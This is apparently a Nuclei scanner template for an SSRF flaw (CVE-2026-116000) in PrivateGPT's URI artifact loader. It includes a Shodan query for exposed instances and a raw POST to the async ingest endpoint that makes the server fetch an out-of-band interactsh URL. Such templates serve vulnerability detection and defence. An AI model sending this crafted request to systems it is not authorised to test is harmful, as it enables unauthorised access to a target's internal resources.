CVE-2026-116000: PrivateGPT - Server-Side Request Forgery via UriArtifact

id: CVE-2026-116000

info:
  name: PrivateGPT - Server-Side Request Forgery via UriArtifact
  author: kosoyyagent
  severity: high
  description: |
    Zylon PrivateGPT 1.0.0/1.0.1 contains a server-side request forgery caused by manipulation of the Value argument in load_file_from_uri function of URI Artifact Loader, letting remote attackers initiate SSRF, exploit requires crafted request.
  impact: |
    Remote attackers can make the server perform arbitrary requests, potentially accessing internal resources or sensitive data.
  remediation: |
    Update to the latest version or apply vendor patches when available.
  reference:
    - https://github.com/zylon-ai/private-gpt/issues/2269
    - https://github.com/zylon-ai/private-gpt/security/advisories/GHSA-8294-hj7x-42g2
    - https://nvd.nist.gov/vuln/detail/CVE-2026-116000
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
    cvss-score: 7.3
    cve-id: CVE-2026-116000
    cwe-id: CWE-918
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.title:"privateGPT"
  tags: cve,cve2026,privategpt,ssrf,lfi,oast

http:
  - raw:
      - |
        POST /v1/artifacts/ingest/async HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"ingest_body":{"input":{"type":"uri","value":"http://{{interactsh-url}}/ingest"},"artifact":"nuclei-ssrf-check","collection":"default"}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"
          - "dns"
        condition: or

      - type: word
        words:
          - "task_id"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100b6dfc05f391efc741337f2cb74f1a1721d38c70f39319a61bbeb098ff404e59e022100f39612fe1b60d9ecf2903be12d174885da41dbd0784656ccc3cf3bbeba43d407:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.